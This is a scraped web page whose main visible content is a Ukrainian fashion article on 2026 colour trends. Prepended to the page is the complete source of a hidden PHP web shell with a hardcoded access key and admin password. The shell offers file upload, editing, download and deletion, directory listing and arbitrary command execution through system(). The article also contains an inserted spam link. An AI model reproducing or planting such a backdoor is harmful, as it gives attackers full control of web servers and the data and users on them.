if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Модні кольори 2026 для створення стильних образів сезону – collectives.berlin

Your digital paradise.

Модні кольори 2026 для створення стильних образів сезону

Синій кобальт стане ключовим у гардеробі, додаючи елегантності та виразності. Поєднуючи його з ніжними пастельними відтінками, https://sportreview.org.ua ви зможете створити образи, що вражають своєю оригінальністю.

Насичений зелений колір додасть свіжості та природності у ваш вигляд. Поєднайте його з нейтральними тонами, щоб досягти гармонії та збалансованості. Відтінки оливкового та смарагдового привнесуть нотки землі, що особливо актуально.

Не обійдіть увагою теплі помаранчеві та коралові відтінки. Вони створять настрій свята та радості, легко піднімаючи настрій у сірі дні. Кольори, що нагадують захід сонця, стануть яскравими акцентами у вашому гардеробі.

Вибір кольорів повинен бути не лише дзеркалом вашого стилю, а й відображенням вашого внутрішнього світу. Експериментуйте з комбінаціями, знаходьте улюблені поєднання та підкреслюйте індивідуальність у кожному образі.

Трендові кольори весни-літа 2026: як правильно їх поєднувати

Поєднуйте яскраві відтінки з нейтральними базовими тонами. Наприклад, насичений оранжевий чудово виглядає поряд із білим або бежевим. Це створить гармонійний контраст, підкреслюючи вашу індивідуальність.

Гармонія відтінків

Поєднання холодних та теплих тонів може стати справжнім мистецтвом. Спробуйте комбінувати бузковий із жовтогарячим: ця дуета є яскравим, але водночас збалансованим. Важливо, щоб один із тонів був домінуючим, а інший – доповнював його.

Використовуйте відтінки землі як основні для літнього ансамблю. Наприклад, оливковий або терракотовий добре поєднуються із пастельними кольорами, такими як м’ятний чи лавандовий. Це створить м’який, природний вигляд.

Яскраві акценти

Додайте елементи яскравих тонів у аксесуарах. Червоні туфлі в поєднанні з джинсовим комплектом створять акцент, який притягне погляди. Тут важливо не переборщити, щоб не затьмарити основний образ.

Щоб створити стильний образ, враховуйте текстури. Комбінування матових і глянцевих виробів допоможе урізноманітнити естетику. Наприклад, шовковий топ у поєднанні з текстурованими штанами додасть загадковості.

На завершення, експериментуйте із різними поєднаннями, орієнтуючись на власний смак. Кожен новий ансамбль може відкрити новий аспект вашого стилю, запрошуючи вас віднайти власний шлях у світі моди.

Осінні та зимові відтінки 2026: створення образів для холодної погоди

Глибокі відтінки синього – ідеальний вибір для верхнього одягу. Залучайте темно-сині пальта та куртки в поєднанні з яскравими акцентами, наприклад, червоними або помаранчевими аксесуарами. Використовуйте шарфи та головні убори у відтінках, що контрастують, щоб підкреслити насичений синій. Приділіть увагу якісним тканинам, таким як вовна або кашемір, щоб забезпечити комфорт і тепло під час холодів.

Крім того, обирайте натуральні земні тони, такі як оливковий або коричневий, для створення бази. Вони чудово гармонують з текстурованими матеріалами, такими як замша або вельвет. Додавайте біле або кремове вбрання для світлих акцентів, а також не забудьте про ефектні черевики, що можуть завершити образ. Експериментуйте зі змішуванням текстур та форм, щоб досягти унікального стилю, який виділить вас серед інших.”

Leave a Reply

Your email address will not be published. Required fields are marked *